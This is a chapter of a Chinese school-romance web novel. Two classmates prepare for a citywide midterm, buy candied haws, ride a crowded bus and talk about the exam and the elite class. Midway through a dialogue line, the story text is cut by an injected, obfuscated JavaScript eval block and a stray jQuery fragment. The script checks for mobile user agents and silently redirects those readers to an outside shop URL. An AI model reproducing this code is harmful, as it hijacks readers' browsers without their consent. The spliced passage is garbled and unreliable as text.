很快他们又迎来了期中考试。
这次其中考试行知和A市其他三所名校进行联考,也就是说他们的对手面临的不再是自己的校友,而是还有来自其他学校的不曾谋面不曾交涉过的高手。
这是他们高一第一次联考,关乎行知名誉和颜面,更和在坐每一位荣誉息息相关,康兴锋对这次考试格外看重。
“要把每一次考试都当作高考。”
“这是检查你们半学期学习成绩的好机会,千万不要掉以轻心,都给我认真准备。”
“以前你们的对手就咱们左右两个班,有不少同学考完还有心情看课外书,去网吧打游戏,这一回不同,其他学校的学霸学神们也来跟你们一较高下,到时候小心别被别人完虐了。”
他讲完最后一段话,整个班上所有人的神经都紧紧绷了起来,每个人屏气凝神,跟天主教的教徒一样,脸上布满庄重,眼里写着放心。
枫晓夹在中间连大气都不敢喘。
周五放学回家的时候,去公交站的那条熟悉的马路上,人头攒动,熙熙攘攘。
枫晓背着书包脸色看起来不大好。
毕竟就要考试了,而且这次考试意义非凡,压力山大啊,谁轻松得起来?
她靠着边走,路边是一些小商铺,杂物店,文具店,粉面店,奶茶店,还有很多骑车摆摊的小吃。
突然,在一个卖糖葫芦的大叔身边,她一眼就看到了站在那的陈漾。
微垂着脑袋,眼睛盯着手机,像是在等谁的消息。
人山人海里,不知道这里有没有一千人,枫晓不知道,但真的很拥挤。
可两个人像是有心灵感应一般,她刚抬头,认出那个人是谁后,那个人也默契地偏过脑袋,清清冷冷的视线往这边望了过来。
陈漾摘下耳机挂在脖子上,一手插兜里,书包肩带只背了一根,挑眉。
像是在说,还不过来?
枫晓捂嘴咳了两声。
经过卖糖葫芦的大叔时,大叔热情道:“要不要来串糖葫芦?我这儿有板栗味,巧克力,草莓,黑芝麻,还有普通的糖葫芦,来一串不?”
枫晓舔舔嘴唇。
正好兜里还有点零花钱没花完。
枫晓小时候看动画片里主人公吃糖葫芦看得口水疯狂分泌,以至于长到现在她都对糖葫芦有着特殊的情结。
有点想吃。
但陈漾也在的话是不是应该给他买一串?
给他买一串也不是不可以,算是为之前没有及时回他消息的补偿。
这年头连冰糖葫芦都出了各种口味,里面去了籽加了不同口的夹心。
她想吃巧克力味的,那陈漾呢?
枫晓拿不准,说:“我要一个原味和一个巧克力。”
“好嘞!一共六块,来,拿好。”
枫晓接过糖葫芦,刚翻兜,头顶突然投下一道腔调懒洋洋的嗓音。
“叔,这里刚好六块。”
“诶?”枫晓惊讶抬头。
陈漾不知何时出现在了自己身后,还刚好把钱给她付了。
“小伙子要不要再来个棉花糖?甜甜蜜蜜到心底啊。”
枫晓两手各拿一根冰糖葫芦,望着陈漾摇头。
陈漾左右瞥一眼,“行吧,来个棉花糖。”
“好嘞!一共十块钱!”
陈漾掏出一张十元整,枫晓赶紧摇头,“不用,我有钱。”
大叔笑:“都一样,他的钱不就是你的钱?”
枫晓蓦然红了耳根。
“我们......”陈漾张着嘴还想解释什么,最后千言万语都化作了一声叹息,“算了。”
枫晓望着两个人手里的“收获”,小脸像一张揉作一团的白纸那样皱巴巴的,顿时犯起愁。
因为陈漾那句“慢慢吃,都是你的。”
吃了这一顿应该不会长蛀牙吧?
于是两个人于人群以外,站在一家书店门外,枫晓一口气吃掉了两根糖葫芦和一个棉花糖,引得多人频频回头观看。
就这么喜欢吃糖?
牛逼牛逼。
公交车上,因为这个时候刚好是晚高峰,他们每次回家都只能站着到站。
公交车每次刹车和启动的时候枫晓都像一片没有根的浮萍,前后晃动,好几次踩到别人脚上,好在陈漾还能一把拉着她的手臂把她抓回来。
“对不起对不起。”枫晓十分愧疚地道歉。
陈漾睨她一眼,“你就不会抓点什么?”
现在人这么多,连抓环都不够用了,横杆也没有一点空间,她还能抓哪里?
枫晓白眼,“拜托,你看哪还有空间留给我放手?”
陈漾盯着她看了许久,直到枫晓尴尬地别开眼睛,然后听见他轻飘飘的声音传进耳里。
“你可以抓着我。”
终于到站后,挤过人群,踏到水泥地板的那一刻枫晓才觉得自己活了过来。
她最终还是没有碰陈漾,假装没听见,直到终于有人要下车,空出一个抓环,她跟饿狼盯上猎物一样一把抢了过来。
连旁边的人都被她这一举动吓到了,频频往她身上看去。
不、不就一个抓环吗?这姑娘怎么跟抢饭票一样。
看着温温软软的,爆发的时候那是一点都不手软。
应了那句话,兔子急了还咬人呢。
她跟陈漾说了“拜拜”,陈漾突然叫住她。
枫晓回过身去,“怎么了?”
他举着手机,指了指,无奈问:“枫晓同学,能不能不要把你的手机当成摆设?”
“啊?怎么了?”
枫晓奇怪他为什么这样说,从书包最里面翻出手机,打开流量,然后发现有两条新的未读消息。
18:20
青色:[一起回家]
是陈述句。
紧接着后面跟了个问号。
也不是是第一遍忘记加了补上的,还是后面她没回消息发来的询问。
“我很少看......”抬头,陈漾已经走远。
-
天气慢慢地冷了起来,傍晚的时候在室外穿一件短袖竟然觉得有点冷。
白日长夜晚短的夏天已经结束,日夜时长相同的秋季来临,时间在变化,其他事情是否又保持一致呢?
为了这次联考,一班所有人都卯足了劲,考前两天她们宿舍一改以往的偷偷玩手机,变成了打着灯刷题。
除了学校发的每人必备的练习题,江柳在刷教材帮,丁程用五三和必刷题,连易子琳都放下了手机,死磕绿皮知识清单。
因为只是一次期中考试,老师不可能停下教学进度,所以只能课后抽空来复习。
一边是学习新知识,一边又要复习之前两个月的旧知识,宿舍学习氛围如火如茶,达到了前所未有的紧张。
连续好几个晚上下来,枫晓眼底的青色是越来越浓了,以至于走廊上遇到梁桓宇,他不禁发问:“大侠您这是被谁打了?”
枫晓趴栏杆上:“现在别跟我说话,你的声波干扰到我思考了。”
梁桓宇一脸蒙,陈漾好心解释:“声波能传递能量。比如拿一架鼓,鼓的后面放两只点燃的蜡烛,调整敲鼓的力道让它发出不同强度的响度,响度越强,蜡烛就越容易被熄灭。同样地,控制响度不变,改变蜡烛摆放的距离,距离越远,受影响程度越小,直到火苗没有反应。这个实验说明声波能传递能量,并且声波传递能量的大小跟声源的响度和距离有关。所以简单来说就是控
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519565|138100||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
制一定变量范围,你连呼吸都是错。”
梁桓宇:......
都是凡人,说好一起当学渣,凭什么就你这么秀。
梁桓宇恬然一笑,“算了,玩不了一点,回去了。”
枫晓摆摆手,说了声拜拜,梁桓宇撇嘴:“姐姐,你这也太敷衍了,起码也看我一眼吧。”
陈漾给了个自我体会的眼神,梁桓宇立马就缴械投降。
“行,我的锅,我掂量掂量自己的分量,不打扰你们二人世界了。”
陈漾双手交叉趴在栏杆上,看了会前方,然后偏过脑袋,难得地上下打量她。
带点不解、戏谑、好奇。
“你现在这副样子就因为准备期中考试?”
“嗯。”
“只是一次考试。”他折过身,面朝教室的方向。
潜台词是没必要这么把自己逼得跟僵尸一样。
林正英来了都得给她磕个头慰问一下。
“但不是普通的考试,高一第一次联考,我想知道自己的水平在市里究竟怎么样。”
她宁静,平和,悠远,坚定就像远方连绵起伏的山峦,可以扫荡一切疲惫,抚平旅人内心的躁动不安。
陈漾的心就像被什么蛰了一下。
酥酥麻麻,他微垂眼睑,在思考怎么安慰她。
结果下一秒枫晓就打破了这和谐的氛围。
“当然,最重要的一点是没考好康老师会宰了我们!”
“据我所知,中小学生教师无权体罚学生的和以侮辱、歧视等方式变相体罚学生,所以这是谣言,你大可放心。”
枫晓扯了扯干涩的嘴角。
很幽默,也很感激。
但她实在没多余的精力回给他了。
学习就是这样一件有弹性的事情。
当你乐在其中的时候不觉得有什么,但当带有投注太多期盼在里面就比什么都累。
“多谢,我倒是没想过你懂这么多。”
陈漾嘴角一抽,“......不过不管怎么说,以你的实力市两百绝对没问题吧,毕竟怎么说在六中那种普通学校出来的都能考进前两百,在实验班打磨半学期还怕会退步?”
是啊,她在这个班被锤炼被碾压,早就适应了现在的高中生活节奏,还在担心什么呢?
“那你呢?有好好准备吗?”
陈漾显得漫不经心,他似乎从来不把成绩当成一回事。
跟普通人不一样,枫晓从来没在他身上嗅到过一丝紧张。
“我从来不准备。”
真嚣张。
枫晓心想,好奇地想要侧仰着脸去看他。
“你知道实验班采取的其实是淘汰制吗?按照每学期的期末成绩重新分班。”她声音淡淡的,虽然温柔,却很有力量,“陈漾,你是不是故意控分不想进实验班啊?”
虽然这个猜测有点荒谬,毕竟谁会拿自己的人生做赌注,好好的实验班不读,去读一个普通班呢。
虽然据说因为三班的都是非富即贵之子,分配给他们班的资源和实验班并无差别,但氛围不一样。
就好比把一粒西瓜种子放到温室里有专人负责他们的生长,和把它随手丢在贫瘠荒芜的野外,这两者的生长结果是大相径庭的。
枫晓仰着脖子,闭目,自顾喃喃:“要是你能考进实验班说不定我们还可以做同桌呢。”
良久,不听身边有人开口,她以为陈漾走了,没想到刚睁开眼,就见他面色平平目不转睛地盯着自己。
枫晓被看得浑身不自在,“我乱说的,你别往心里去。”
谁知陈漾忽然转笑,“完了,我往心里去了。”
“我尽量。”
“为了跟枫晓同学成为同桌。”